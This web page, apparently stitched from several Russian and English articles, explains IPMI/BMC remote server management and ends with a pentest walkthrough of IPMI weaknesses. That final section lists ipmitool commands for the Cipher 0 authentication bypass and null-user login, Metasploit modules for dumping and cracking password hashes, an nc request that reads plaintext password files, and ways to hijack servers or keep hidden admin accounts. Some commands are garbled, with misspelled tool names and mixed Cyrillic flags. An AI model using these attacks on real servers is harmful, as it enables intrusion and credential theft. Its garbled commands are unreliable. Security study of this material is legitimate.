Андроид. Windows. Антивирусы. Гаджеты. Железо. Игры. Интернет. Операционные системы. Программы.

Управление серверными платформами через интерфейс IPMI. Что такое IPMI? Преимущества и недостатки? Инструкция по работе с web-интерфейсом в старых версиях прошивок IPMI

Реализацией удаленного управления и мониторинга компьютерных систем крупные производители оборудования вплотную занялись еще в конце прошлого века. При стремительном росте компьютеризации и возникновении распределенных сетей крупных предприятий и организаций потребовалась технология, которая бы позволяла централизовано управлять наиболее важными узлами без непосредственного локального доступа к компьютеру. В первую очередь, крупные производители серверных платформ реализовали возможность выполнения на сервере, который может находиться в соседнем здании или на другом конце планеты, удаленного доступа, позволяющего обслуживающему персоналу выполнить следующие операции:

Включить или выключить электропитание.

Выполнить аппаратный сброс компьютера.

Посмотреть или изменить настройки BIOS.

Установить операционную систему с использованием виртуальных носителей.

Управлять операционной системой удаленно с использованием стандартных устройств ввода – вывода.

Отслеживать техническое состояние наиболее важных узлов оборудования.

Выполнять операции по обслуживанию аппаратной платформы (прошивка BIOS материнской платы или определенных контроллеров) и обеспечения авторизованного доступа к ней.

В результате совместных усилий крупных производителей серверного оборудования (Intel, Dell, NEC и Hewlett-Packard) была разработана спецификация интеллектуального интерфейса управления платформой - Intelligent Platform Management Interface (IPMI) , ставшая стандартом для реализации удаленного доступа к компьютерному оборудованию серверных платформ.

Назначение и реализация интерфейса IPMI.

IPMI (от англ. Intelligent Platform Management Interface) - интеллектуальный интерфейс управления платформой, предназначенный для автономного мониторинга и управления функциями, встроенными непосредственно в аппаратное и микропрограммное обеспечения серверных платформ. Другими словами IPMI – это средство управления, которое реализовано независимо от основного оборудования сервера и обеспечивает его включение, выключение, сброс, удаленное подключение виртуальных мониторов, клавиатур и мышей, наблюдение за работой оборудования и оповещение о важных событиях, связанных с работоспособностью сервера. Спецификация IPMI версии 1.0 была опубликована еще в 1998г. и базировалась на подключении к модулю IPMI через последовательный интерфейс RS-232. Последующие спецификации IPMI 1.5 b 2.0 базируются на использовании стандартного сетевого интерфейса.

Ядром системы управления серверной платформой является специализированное устройство - Baseboard Management Controller (BMC) , который практически является специализированным компьютером, встроенным в серверную платформу, имеющим свои собственные процессор, память, периферийное оборудование и операционную систему. Модуль BMC питается от дежурного напряжения блока питания (+5V Standby) и, соответственно, начинает работать как только на вход блока питания подано первичное напряжение 220V, независимо от того, включен компьютер или нет.

Спецификация IPMI не задает жестких стандартов по реализации IPMI-устройств. Они могут быть выполнены в виде отдельного адаптера, могут быть распаяны непосредственно на материнской плате или выполнены в виде отдельного микроконтроллера. В настоящее время, наиболее распространены интегрированные в серверные материнские платы контроллеры BMC на базе технологии “система на одном кристалле” (System-on-Chip, SoC), позволяющие реализовать как эффективное взаимодействие с управляемой платформой, так и огромное количество функций по удаленному мониторингу, оповещению о важных событиях по e-mail или SNMP, ведению журналов и т.п.

Контроллеры BMC для серверных материнских плат подключаются к ним через системный интерфейс, названный IPMB (Intelligent Platform Management Bus/Bridge) или к другим контроллерам BMC через интерфейс IPMC (Intelligent Platform Management Chassis). Для удаленного управления оборудованием через контроллер BMC может быть использован специальный протокол прикладного уровня Remote Management Control Protocol (RMCP) , обеспечивающий работу через обычную локальную сеть. Как правило, современные контроллеры BMC обеспечивают управление серверными платформами через веб-интерфейс, а также обеспечивают удаленное подключение устройств CD/DVD и работу клавиатуры-видео-мыши по сети (IP KVM), что позволяет легко выполнять, например изменение настроек BIOS или выполнять установку операционной системы, не имея физического доступа к оборудованию сервера.

Основные возможности управления материнской платой через интерфейс IPMI.

Рассмотрим возможности управления сервером через интерфейс IPMI на примере материнской платы Supermicro X8DTT-IBQF с интегрированным контроллером Nuvoton WPCM450 Baseboard Management Controller с поддержкой IPMI 2.0.

Контроллер Nuvoton WPCM450 поддерживает графическое ядро с PCI-интерфейсом, устройства Virtual Media (виртуальные CD/DVD) и перенаправление клавиатуры-видео-мыши (Keyboard/Video/Mouse, KVM ). Для подключения к локальной сети используется внешний контроллер Ethernet, распаянный на материнской плате.

Для взаимодействия с компонентами управляемой системы используются шины управления платформой Platform Environment Control Interface (PECI) . На материнской плате имеется перемычка для отключения BMC-контроллера, если возникнет такая необходимость. Также, на ней имеется светодиод BMC LED (BMC Heartbeat LED) для индикации работоспособного состояния контроллера – зеленый мерцающий индикатор, обозначает, что BMC работает нормально.

Подключение к локальной сети выполняется через порт RJ-45, обозначенный как IPMI_LAN

Первичная настройка интерфейса IPMI выполняется в разделе Adnanced – IPMI Configuration основного BIOS.

Status of BMC состояние контроллера BMC

View BMC System Event Log - просмотр системного журнала событий (SEL), который ведется контроллером BMC.

Clear BMC System Event Log - очистка журнала событий

Set LAN Confi guration - настройка сетевой конфигурации адаптера, используемого контроллером BMC. Можно настроить на получение IP-адреса, маски и адреса шлюза автоматически по DHCP, или задать их вручную.

Set PEF Confi guration - настройка фильтра событий, регистрируемых контроллером Platform Event Filter (PEF). В данном пункте меню можно настроить реакцию контроллера на определенные события, как например, выключение питания при увеличении температуры, или снижении скорости вращения вентиляторов. По умолчанию, фильтрация событий отключена.

BMC Watch Dog Timer Action - можно настроить опрос состояния управляемой системы и ее сброс, перезагрузку или выключение питания при зависании. По умолчанию, отключено.

Основные возможности по управлению и мониторингу состояния платформы доступны через веб-интерфейс. Для подключения к модулю BMC используется любой браузер с поддержкой java, в адресной строке которого вводится IP-адрес IPMI-устройства и, после подключения, выполняется авторизация с использованием имени пользователя и пароля, указанных в документации или заданных пользовательскими настройками. Имя пользователя и пароль по умолчанию для IPMI-устройств производства Supermicro - ADMIN / ADMIN . После успешной авторизации откроется основное окно управления платформой с активированной вкладкой “System Information”:

Вкладка “Server Health” позволяет контролировать состояние оборудования сервера:

Sensor Reading - просмотр данных контролируемых датчиков

Sensor Reading with Thresholds - просмотр данных контролируемых датчиков и пороговых значений

Event Log - просмотр журнала событий

Отображаемая информация датчиков включает их имена, состояние и считанное значение. В нижней части экрана имеются кнопки Refresh - обновить данные датчиков и Show Thresholds - показать пороговые значения. С помощью подменю Select a sensor type category можно выбрать тип датчиков (температура, напряжение и т.п.). Пример отображаемой информации:

Просмотр журнала событий позволяет определить время возникновения фиксируемого состояния датчика, получить его краткое описание и оценить уровень опасности для функционирования оборудования. Пример отображаемой информации:

Вкладка Configuration позволяет выполнить настройки оповещений о состоянии оборудования, изменять сетевые параметры, настроить политику доступа к устройству IPMI.

Alerts - настройка оповещений. Можно создать до 15 записей с различными правилами оповещений. Имеется возможность задать категорию событий, по которым выполняется оповещение – информация, предупреждение, критическое событие, невосстановимое состояние. Оповещение возможно по электронной почте или через отправку SNMP trap. В первом случае, необходимо указать e-mail, на который будет отправлено письмо, при возникновении события заданной категории, во втором – IP-адрес сервера, собирающего SNMP-оповещения. При использовании оповещения через электронную почту, необходимо указать IP-адрес и порт SMTP-сервера и адрес отправителя в разделе SMTP

Разделы LDAP , Active Directory , RADIUS ,Users и SSL sertificate настраиваются в зависимости от требований безопасности доступа к IPMI-устройствам. В разделе Network можно изменить сетевые настройки IP-адрес, маску, шлюз. В разделе Ports - номера портов, которые используются при эмуляции виртуальных устройств загрузки, видеомонитора, клавиатуры и мыши. Также можно изменить номер порта для веб-доступа к устройству IPMI.

Вкладка Remote Control позволяет выполнить удаленное подключение к консоли сервера с использованием java-апплета. Необходимо учитывать, что при первом подключении, консоль может длительное время не работать, поскольку для выполнения апплета требуется запуск виртуальной машины Java. Кроме обычной эмуляции терминала, в данной программе возможно выполнение записи сеанса работы через меню Video – Capture Screen , использование программной клавиатуры (Keyboard – Soft Keyboard ) и подключение виртуальных носителей (Media – Virtual Media Wizard )

Вкладка Remote Control используется для включения, выключения и сброса сервера.

Вкладка Maintenance - для обновления прошивки и принудительного сброса IPMI-устройства.

Кроме ручного контроля оборудования, интерфейс IPMI позволяет настроить систему оповещения с использованием электронной почты о важных событиях, связанных с работой оборудования – изменении температуры, напряжений, скорости вращения вентиляторов, возникновении корректируемых ошибок памяти (ECC) и т.п. Также имеется возможность мониторинга с использованием протокола SNMP (Simple Network Management Protocol).

Реализация интерфейса IPMI может отличаться в зависимости от производителя оборудования и модели материнской платы. Так, например, для многих серверных платформ Intel подключение по IPMI через веб-браузер обеспечивается специальным модулем удаленного управления – Remote Management Module (RMM ), который не входит в стандартную комплектацию и закупается отдельно. При чем, существует несколько редакций данных модулей, совершенно не совместимых между собой, модуль RMM3 невозможно установить на платформу, поддерживающую RMM4 и наоборот. При установке или замене модуля RMM необходимо руководствоваться документацией к материнской плате.

Кроме того, например, на многих платформах производства Supermicro при включении оборудования IPMI на входе порта Ethernet должен присутствовать линк, в противном случае, доступ к интерфейсу IPMI по сети работать не будет.

Для управления платформами через интерфейс IPMI может использоваться не только браузер, но и программное обеспечение, разрабатываемое производителями оборудования, как например утилита с графическим интерфейсом от Supermicro IPMI View

Также существуют утилиты командной строки IPMICFG и SMCIIPMITOOL .

Часто задаваемые вопросы о IPMI в материнских платах Supermicro: зачем он нужен, особенности, наглядная демонстрация, подводные камни.

1) Самый популярный миф о KVM-over-LAN - это то, что он "не нужен" . Почему-то многие путают его с обычным удаленным доступом к текстовой/графической консоли ОС, т.е. "зачем нам KVM-over-LAN, если есть SSH, VNC, RDP и Radmin?"
Разница принципиальная: KVM-over-LAN - это не просто доступ к консоли ОС, он никак от ОС не зависит, это доступ к консоли непосредственно самого сервера (и не только к консоли, подробности будут ниже), т.е. мы можем, например: зайти в BIOS системной платы или доп. контроллера, установить ОС, настроить мониторинг сенсоров (что, опять-таки, очень важно - независимый от ОС) через SNMP и т.д.
2) Как это работает? Работает достаточно просто, вот структурная схема (Supermicro последнее время использует, как правило Winbond или Nuvoton WPCM450:

Всю работу выполняет процессор BMC (Baseboard management controller) - он имеет собственную память и специализированную ОС (обычно на базе Linux). BMC использует USB шину для подключения виртуальных клавиатуры, мыши и приводов CD/DVD/FDD. Через другие шины осуществляется сбор показаний датчиков вращения вентиляторов, температуры, управление питанием, доступ к COM-порту (для удаленного доступа к последовательной консоли). BMC также занимается захватом и перенаправлением содержимого видеобуфера - в современных BMC уже интегрировано видеоядро, когда-то, в первых реализациях, BMC занимался оцифровкой аналогового сигнала с отдельного VGA-контроллера. Обмен данными с "внешним миром" происходит через ethernet (выделенный порт или один из портов размещенного на системной плате контроллера ethernet).
Собственно, WPCM450 в продуктах Supermicro представляет собой систему на базе процессора ARM 926EJ-S, работающей под управлением ОС Linux на ядре 2.6.

В целях диагностики можно зайти через SSH, где вас будет ждать busybox.

3) Сколько это стоит?
В настоящее время Supermicro интегрирует IPMI BMC непосредственно на системные платы. Раньше использовались дополнительные модули (например - AOC-SIMSO+). Наличие IPMI BMC на плате Supermicro обозначает буквой F, например: X8DTi и X8DTi-F, и разница в цене не превышает $50, что уже является очевидным ответом на вопрос "нужно или нет", ведь внешний IP-KVM обойдется вам гораздо дороже. Ставить обычный KVM и каждый раз при необходимости что-нибудь переустановить или перепрошить идти в серверную - тоже не выход, это потеря времени, ведь ваш сервер может находится за десятки и сотни километров, да и, в конце концов - это просто неудобно.
4) Как это выглядит на практике?
Доступ к IPMI можно получить либо через IPMIView (специализированная утилита на Java, есть сборки под Windows и Linux) или через обычный браузер (при подключении к графической консоли запустится дополнительное java-приложение).
Рассмотрим IPMIView. Для начала в BIOS можно настроить ethernet-порт IPMI: по умолчанию стоит DHCP, но можно вручную выставить нужные IP/маску/шлюз, тэг VLAN (весь ужаленный менеджмент лучше выделить в отдельную подсеть из соображений безопасности и удобства).
Запускаем IPMIView и находим нужный сервер (можно просканировать диапазон адресов на предмет наличия IPMI), логин/пароль по умолчанию - ADMIN/ADMIN.

  • Graceful shutdown - имитируется быстрое нажатие кнопки Power, для того чтобы ОС могла корректно выключить питание самостоятельно.
  • Power Cycle - это Graceful shutdown с последующим включением питания
  • Reset и Power Up говорят сами за себя
  • Power Down - жесткое выключение, с длительным нажатием кнопки Power
За здоровьем сервера можно наблюдать на вкладке Sensors (показания температурных и вентиляторных датчиков вы увидите только при включенном сервере):

Сетевые настройки можно поменять при необходимости на вкладке BMC Setting (помните, что можно по ошибке потерять удаленный доступ к серверу). Кстати, об удаленном доступе: используются следующие порты (их нужно будет пробросить через NAT или обеспечить способ доступа в менеджмент-сеть, например, через VPN):
TCP:

  • HTTP: 80
  • HTTPS: 443
  • 5901 - нужен для графической консоли
  • 5900 - HID, трафик виртуальной клавиатуры/мыши
  • 5120 - трафик виртуального привода CD/DVD
  • 5123 - трафик виртуального FDD
UDP:
  • IPMI: 623

На вкладке KVM Console можно увидеть самую полезную вещь - графическую консоль сервера. Там же находятся кнопки снятия скриншота, управления виртуальными носителями (Virtual Media), перехода в полноэкранный режим и дополнительная софт-клавиатура. Зачем она нужна, если есть аппаратная? Для различных комбинаций клавиш, которые по каким-то причинам не удается отправить на сервер с аппаратной клавиатуры, например классический Ctrl+Alt+Delete.


Вот несколько особенностей:
  1. Если у вас есть контроллер от LSI, то вам знаком ориентированный на использование мыши интерфейс LSI Webbios. Так вот: мышь в Webbios через IPMI в современных платах Supermicro не работает, связано это с тем, что Webbios расчитан на мышь PS/2, а IPMI эмулирует мышь USB. В FAQ разделе технической поддержки Supermicro этот вопрос рассматривается , но рекомендации не помогают. Приходится пользоваться исключительно клавиатурой, что не совсем удобно, т.к. не через все пункты можно перемещаться при помощи Tab - нужны комбинации с Alt, которые отрабатываются только через Soft Keyboard.

  2. Переключение раскладки в WinPE 3.0 не работает. Так что собирайте WinPE с английской раскладкой, для этого нужно добавить в скрипт сборки после монтирования Wim-образа следующую команду:
    Dism /image:C:\winpe64\mount /Set-InputLocale:1033:00000409 "C:\winpe64\mount" - точка монтирования образа.
    При желании можно заодно сменить локаль и язык интерфейса - смотрите документацию к WinPE.
  3. Для не Windows ОС измените режим синхронизации курсора с абсолютного на относительный.
И заключительный абзац - использование виртуальных носителей.

Можно либо перенаправить локальный привод, либо подключить образ, что гораздо удобнее. Для появления соответствующего устройства в загрузочном меню BIOS может потребоваться перезагрузка.
P.S. Как сбросить пароль IPMI? Только при помощи консольной утилиты ipmicfg . Существует в версиях под DOS, Windows и Linux. Запуск ipmicfg -fd обнуляет все настройки и устанавливает логин/пароль пользователя с администраторскими правами в стандартные ADMIN/ADMIN.
Обновление от 18.04.2010 . В какой-то момент, после очередного обновления Java, попытка смонтировать iso образ в IPMIView начала приводить к его падению (Windows 7 64бит с последними обновлениями).Вышел новый релиз IPMIView (build 110412 от 12 апреля). Пока еще не проверял, исправлен ли там этот баг, так как можно пользоваться запуском консоли через web-интерфейс.

Переходим на вкладку Remote Control , жмем Launch Console и получаем в отдельном окне Redirection Viewer , аналогичный по функционалу консоли в IPMIView. Стоит добавить, что web-интерфейс не облегчает задачу доступа к консоли из внешней сети - Redirection Viewer - это не Java-апплет, а отдельное Java приложение и использует те же порты для трафика видео, HID и виртуальных приводов: 5900, 5901, 5120, 5123.
P.S. от 01.12.2011 . Дополнительная статья: .
P.S. от 06.10.2013. Похожая .
P.S. от 10.11.2013. IPMI и безопасность.
P.S. от 20.06.2014. Опять

Publisher: сайтworks , January 05,2015

Internet servers are the “backbone” of any company’s online presence. Making sure that they remain fully operational is crucial to maintaining website uptime and functionality. The current industry standard for monitoring and managing a server installation is known as Intelligent Platform Management Interface and commonly referred to as IPMI.

What Is IPMI?

Generally speaking, IPMI is a standardized set of specifications for a hardware system, which allows a web host or data center to centrally monitor and control all of the servers it is managing. It was originally developed by Intel with support from Hewlett Packard, Dell, and NEC, and is now supported by most of the industry.

IPMI works in tandem with two other standard specification sets, IPMB (Intelligent Platform Management Bus) and ICMB (Intelligent Chassis Management Bus), which handle the management functions within a computer and between the machines being managed. Communication is usually handled through a direct out-of-band LAN, but it’s also possible to use a sideband LAN through a NIC card which is a less expensive approach.

Most of the key factors in a server’s hardware operation can be monitored via IPMI, including the health of the power supply, chassis security, and fans. It also tracks power levels, temperature and other important environmental factors. Additionally, the interface can check each machine’s hardware logs, can receive pre-defined alerts, and can send messages to a server to reboot or power down. It even allows remote adjustment of BIOS settings.

The front-end of an IPMI system is extremely user-friendly. Keyboard, mouse and video access to individual servers functions in the same way they would for an engineer or technician working directly on the machine. In the event a server is inaccessible, the error is clearly displayed on the monitoring console and the user may login directly from IPMI to modify specific network configurations.

A modified and simplified variant on IPMI, known as DCMI (Data Center Management Interface), is often used by data centers because it includes some functions important for their systems (such as capping power to a server) while eliminating others which aren’t needed for their purposes.

Benefits Of IPMI

There are a number of reasons IPMI is superior to more traditional software used for server system diagnosis. Most of them are based on the facts that IPMI is able to manage machines in multiple physical locations, and that it is able to monitor machines “from without” rather than “from within”; that is, it is firmware running on a machine’s motherboard and is not dependent on a machine’s operating system. The major benefits:

  • “Agentless” management with remote functionality: no management agents are needed for a server’s OS, and machines can be rebooted and managed off-site.
  • Recovery independent of computer state: IPMI can issue commands to managed machines whether or not they’re powered on, as long as they are plugged in.
  • Functionality before booting or after operating system failure: IPMI is able to facilitate adjustment to BIOS or other settings regardless of OS status, as opposed to traditional methods which require OS access or SSH login.
  • Predictive monitoring: server health is constantly monitored, to provide advance warning of possible system failures.
  • Advance diagnosis: IPMI often allows diagnosis of system issues before repairs are initiated, saving time and money particularly if a machine is off-site.
  • Simple use: control is centralized so that system configuration changes or power up/power down can be handled with a monitor, keyboard, and mouse.
  • Universally supported: IPMI is supported by almost all hardware vendors, and is often included in the price of server purchase.

Drawbacks Of IPMI

There are only a few major drawbacks to IPMI, and in almost all cases, they are far outweighed by the benefits.

  • Initial configuration can sometimes require several attempts, although clearing network configurations through the BIOS can usually solve the problem.
  • Networking may fail after switching ports on the motherboard or after installing IPMI patches. These issues are usually easily solvable by rebooting; occasionally, reconfiguration is necessary.
  • Some analysts claim that IPMI isn’t as secure a system as it could be. They believe that design weaknesses in protocols and configuration make IPMI installations vulnerable to attack or compromise despite patches.

Despite these few issues, IPMI has been almost universally adopted by data centers and web hosts as the most efficient and economical way to monitor and manage their networks.

Введение

Большая часть серверов Firstdedic оборудована модулем IPMI, но многие пользователи не обращают на эту опцию внимания.

IPMI это аббревиатура, которая расшифровывается как Intelligent Platform Management Interface и переводится на русский язык как “интеллектуальный интерфейс управления платформой”.

Что представляет из себя данное устройство. Это модуль, который находится непосредственно внутри сервера и наружу доступен дополнительный Ethernet-разъем.

В случае потери управления над сервером, есть возможность зайти по указанному адресу и, авторизовавшись, выполнить действия для устранения проблем или получения информации о возникшей неполадки.

В основном, этот модуль используется для мониторинга и управления некоторыми функциям, встроенными в серверное аппаратное обеспечение, как то: слежение на температурными датчиками, датчиками напряжения, состояние блока питания, скорость вращение вентиляторов, журналирование, подключение образов и т.п. Следует обратить внимание, что эти функции доступны независимо от процессора, операционной системы или BIOS. Управление доступно даже при выключенном сервере.

К сожалению, автоматизировать предоставление доступа к IPMI на данный момент не удалось, поэтому доступ можно получить по запросу в техническую поддержку.

По запросу выдается IP-адрес, где располагается интерфейс, а так же авторизационные данные. Доступ предоставляется не полный, ограниченный учетной записью уровня Operator.

Доступ к IPMI может быть осуществлен как через браузер, так и с помощью приложения IPMIView. В первом случае потребуется предустановленная Java и плагин к браузеру, во втором — ОС Windows или MacOS, или предостановленная Java для мультиплатформенной версии IPMI View.

Доступ с помощью браузера

После авторизации открывается основная страница, где вы можете получить доступ к IP-KVM (своего рода виртуальный монитор, передающий видео-изображение с сервера к подключенному клиенту. Бывает очень полезным при ошибке в настройке сети, установке ОС, либо при блокировке IP-адресов на уровне дата-центра), а так же увидеть текущее состояние сервера, включить, выключить и аппаратно перезагрузить сервер (кнопки Power On, Power Down и Reset соответственно в области Power Control via IPMI).

При нажатии на кнопку “Refresh Preview Image” будет обновляться предварительный просмотр виртуального монитора. А при нажатии на сам черный экран будет открыт JAVA-клиент IP-KVM и вы получите доступ к интерфейсу вашей операционной системы уже непосредственно с помощью клавиатуры и мыши. Но для его работы потребуется установленная JAVA и плагин к браузеру

Во вкладке Server Health основного меню есть возможность посмотреть состояние сервера, получить информацию о скорости вращения вентиляторов, температуре и напряжении

Доступ с помощью десктопного приложения

Помимо браузерной версии существует и десктопная — IPMI View, которая существует в версиях для Windows, MacOS и Java. Последняя является мультиплатформенной.

Все последние версии IPMI View, а так же документация, доступны на официальном ftp-сервере производителя — ftp://ftp.supermicro.com/utility/IPMIView/ .

В отличие от браузерной версии, которая скачивается и запускается только по факту использования, IPMI View устанавливается на ПК и при работе просто подключается к требуемому серверу.

Первоначально требуется добавить в настройки приложения все ваши серверы с помощью кнопки “Add a new system” (File → New → System)

Где в поле IPMI address: требуется добавить тот IP, который вы получили при запросе доступа к IPMI у технической поддержки.

Для подключения к интерфейсу IPMI, после его добавления в IPMI Domain, следует просто выполнить двойное нажатие по сохраненной системе.

После нажатия на кнопку “Login” и успешной авторизации окно входа в интерфейс управления платформой несколько изменится: Появится информация о версии используемого IPMI, и в самом низу вкладки с доступными операциями.

При переходе на некоторые вкладки будет заметно, как приложение запрашивает информацию с IPMI и выводит в более доступном для восприятия виде.

К примеру, вкладка Sensors выведет данные в графическом виде, что несколько более наглядно, чем просто цифры, как в браузерном варианте.

Вкладка IPM Device предоставит доступ к получению информации о состоянии сервера, и управление ею: выключение, включение, перезагрузка и сброс (Power Down, Power Up, Power Cycle, Reset соответственно).

Для закрытия текущей сессии и отключения от IPMI следует выбрать пункт меню Session → Close .

Абсолютное большинство современных серверов имею IPMI/BMC интерфейс для управления сервером удаленно. Данный инструмент представляет собой доступ к виртуальной клавиатуре и экрану сервера посредством протокола TCP/IP. Сегодня мы коснемся истории исследования безопасности IPMI, рассмотрим векторы для проведения атак и их дальнейшего развития с использованием IPMI.

IPMI - это набор спецификаций, регламентирующих, как общаться и что предоставлять.
Все вендоры стараются придерживаться этих спецификаций.
ВМС - это обертка из железа для работы IPMI. Представляет собой одноплатный компьютер (system on а chip) с щупальцами в сенсорах основного. Каждый вендор сам выбирает, что за железо использовать и как его объединять, что естественно. Все наши примеры мы будем рассматривать на lntegrated Lights Out (iLO) от Hewlett-Packard (НР). НР iLO - это какраз связка BMC/IPMI. У других вендоров свои названия, реализации в железе и софте. Но, как правило, это одноплатный компьютер с процессором ARM и Linux на борту.
Основная функция подобных устройств - сделать жизнь админов более простой и удобной: пропадает необходимость бежать к серверу и жать кнопку Reset /ставить новую систему/ смотреть, почему он не грузится. Теперь можно подключиться к IPMl/BMC и сделать все это удаленно. К тому же появляется возможность получать информацию со всевозможных датчиков температуры,
напряжения и так далее, что также довольно удобно.


УПРАВЛЕНИЕ

Интерфейсов управления несколько:
- веб - интерфейс (зависит от вендора) ;
- IPMI over LAN (UDP 623);
- из установленной системы на сервере (при условии, что установлены драйверы от производителя). Используемый софт: WMI под виндой, OpenlPMI, IPMltool под Linux.

С веб-интерфейсом все понятно. Каждый вендор сам решает, как он выглядит и как его реализовать. Второй и третий интерфейсы похожи, но различается среда передачи. В случае IPMI over LAN, как можно догадаться, команды передаются через сеть на порт UDP 623. Из установленной системы команды для IPMI передаются посредством файла устройства, обычно это /dev/ipm iO, которое появляется после установки драйвера. Стандартная утилита для взаимодействия с IPMI - это IPMltool под GNU/Linux, как наиболее простая в обращении.

ЧТО ПЕНТЕСТЕРУ IPMl/BMC

Несмотря на то что отчет об уязвимостях IPMl/BMC был опубликован еще летом 2013 года, в настоящее время остается очень много уязвимых систем. Очень часто IPMl/BMC любой масти можно найти через поисковик . Естественно, не стоит держать подобные системы снаружи. В основном они встречаются при проведении внутренних пентестов. Один из самых простых векторов развития атаки с использованием таких систем - «угон» сервера с помощью IPMI/BMC.

Заимев административный доступ к IPMl/BMC (как будет показано далее, это совсем несложно), можно подключиться через VirtualConsole (aka KVM) и, к примеру, сбросить пароль root’a или с помощью LiveCD сдампить хеш и локальных пользователей, если это Windows. При прокачанном скилле удачи можно даже поймать консоль, из которой root забыл разлогиниться (очень часто такое встречается на виртуальных машинах). В свою очередь, IPMI можно использовать и как возможность вернуть доступ к серверу после полной переустановки системы.
Доступ к IPMI/ВМС средствами операционной системы при наличии максимальных привилегий возможен без использования пароля, то есть авторизация вообще не нужна. В этом случае злоумышленник просто создает административный аккаунтов IPMl/BMC. При потере доступа к серверу он заходит на IPMl/BMC и возвращает честно заработанное добро. Вообще, связь IPMl/BMC с основным компьютером до сих пор досконально не изучена. Это непаханое поле для поиска багов и фич. Учитывая количество вендоров, которые реализуют это в своих серверах, можно говорить о «богатом внутреннем мире».

ПУБЛИЧНЫЕ ИССЛЕДОВАНИЯ

Впервые на безопасность IPMI и ВМС обратил внимание Дэн Фармер (DanFarmer). С его полным отчетом, носящим говорящее название «Грузовой поезд в ад» . Мы рассмотрим наиболее интересные с точки зрения взлома моменты.
Руководствуясь исследованием Дэна, уязвимости IPMl/BMC можно разделить на две большие категории:

· кастомные баги от производителей (например, уязвимости веб-интерфейса);
· уязвимости протокола IPMI.

На самом деле Дэн накопал много интересного, об этом ниже.

NULL authentication

Описание
Уязвимость позволяет обойти аутентификацию. Присутствует только в IPMI 1.5. Эксплуатация дает возможность управлять устройством, просто активировав опцию отключения аутентификации. Привилегии различаются у разных вендоров, но обычно бывают максимальными.

Вендоры
- НР
- Dell
- Supermicro.

Условия
Открытый порт UDP 623, IPMI 1.5, логин существующего юзера.

Ipmtiool -А NONE -Н targetIP bmc guid

IPMI Authentication Bypass via Cipher 0

Описание
Уязвимость позволяет обойти аутентификацию. Бага появилась с IPM I верси ей
2.0. В этой ревизии решили добавить шифрования. Для эксплуатации надо
знать логин валидной учетной записи, а вот пароль знать не обязательно -
можно указать любой.

Вендоры
- НР
- Dell
- Supermicro.

Условия

Открытый порт UDP 623, IPMI 2.0, логин существующего юзера.

Metasploit - auxiliary/scanner/ipmi/ipmi_cipher_zero ipmitool -I lanplus -C 0 -Н targetIP -u Administrator -Р anypasswordhere user list

IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval

Описание
Уязвимость позволяет неавторизированному юзеру получить захешированные пароли пользователей для последующего брута. Бага появилась в спецификации IPMI версии 2.0

Вендоры
- НР
- Dell;
- Supermicro.

УСЛОВИЯ

Открытый порт UDP 623, IPMI 2.0 и валидные user-logins.

Metasploit - auxiliary/scanner/ipmi/ipmi_dumphashes http://fish2.com/ipmi/tools/rak-the-ripper.pl

IPMI Anonymous Authentication / Null user

Описание
Кто-то называет это null user, кто-то - anonymous authentication. Кто-то разделяет эти две уязвимости, кто-то нет. По умолчанию существует null user / anonymous - «» (пустая строка). Если говорят null user, то пароль у него тоже пустой. Если говорят anonymous authentication, то пасс у него admin и во всем виновато IPMI Chips with ATEN-Software.
Дэн в своем исследовании считает это как две разные уязвимости. А в доке от Rapid7 об null user уже ни слова.

Вендоры:

НР
Dell
Supermicro (используют IPMI Chips with ATEN-Software).

Условия

Открытый порт UDP 623.

Metasploit - auxiliary/scanner/ipmi/ipmi_dumphashes ipmitool -I lanplus -Н targetIP -U "" -Р "" user list

Supermicro IPMI UPnP Vulnerabllity

Описание
В Supermicro присутствует сервис UPnP SSDP на порту UDP 1900. Он уязвим к переполнению буфера.

Вендоры
Supermicro.

Условия
Открытый порт 1900.

Metasploit exploit/multi/upnp/libupnp _ssdp_overflow metasploit auxiliary/scanner/upnp/ssdp_msearch

Supermicro IPMI Clear-text Passwords

Описание
Спецификация IPMI 2.0 подразумевает, что где-то должны храниться пароли в открытом виде. В Supermicro они находятся в файлах /nv/PSBlock или /nv/PSStore, в зависимости от firmware.
Помимо этого, в реализациях ВМС на Nuvoton WPCM450 на ТСР-порту 49152 висит сервис, который позволяет читать содержимое файлов в директории /nv, например PSBlock, server.pem и так далее.

Вендоры
· Supermicro.

Условия
Shell-дocтyп

Cat /nv/PSBlock echo (GET /PSBlock" 1 nc targetIP 49152

По поводу уязвимостей «NULL authentication / IPMI Authentication Bypass via Cipher О», «IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval», «IPMI Anonymous Authentication» - обо всем этом написано в спецификации IPMI.
Исследователи досконально изучили ее, сделав при этом упор на механизмы аутентификации и шифрования. Уязвимость, связанная с произвольным выполнением кода в UРnР-сервисе в прошивке Supermicro (Supermicro IPMI UPnP Vulnerability), относится к CVE-2012-5958 (BoF в libupnp). Остальные же затронутые нами уязвимости найдены с помощью анализа прошивки Supermicro для материнских плат Supermicro Х9, причем упор делался именно на анализ кода, отвечающего за веб.

HANDS-ON LAB

Давай разберем стандартную схему эксплуатирования уязвимостей IPMI.
С помощью модуля ipmi_version, доступного в известном фреймворке Metasploit, можно просканировать периметр сети. Если ты уже находишься во внутреннем сегменте и устанавливать/использовать Metasploit нет возможности, то можно обойтись простенькой утилитой ipmiping или rmcpping.
Как только удалось обнаружить открытые IPMI, в первую очередь следует проверить их на уязвимость «Authentication Bypass via Cipher О» (смотри выше). Если она присутствует, то можно обойтись без дампа хешей пользо вателей и просто сбросить пароль администратору или добавить своего. Важно: для использования этой уязвимости необходимо знание логи на учетной записи, в нашем случае у учетной записи должны присутствовать административные привилегии. Для начала рассмотрим случай с дампом хеша пользователя и посл едующим его брутфорсом.

С помощью модуля Metasploit’a ipmi_dumphashes мы имеем возможность собрать хеши пользователей. Важно: без знания логина пользователя не получится добыть его хеш. В опциях ipmi_dumphashes можно указать путь до файла с логинами, например в том случае, если админы создали для себя учетные записи. Файл, который используется по умолчанию, содержит дефолтные логины всех вендоров. Брут хешей поддерживают как oclHashcat , так и John the Ripper с jumbо -патчами (community edition). Джона следует брать с гитхаба, так как на официальном сайте устаревшая версия без поддержки нужного нам формата. Последняя версия oclHashcat , на данный момент 1.30, поддерживает все из коробки.

Если у тебя в руках оказался хеш от НР ilO4, то тебе повезло. Дело в том, что при конфигурировании на заводе пароль по умолчанию для учетной записи Administrator устанавливают длиной восемь символов - uppercase + numeric. На моих скромных мощностях поиск подобного значения занимает около получаса.

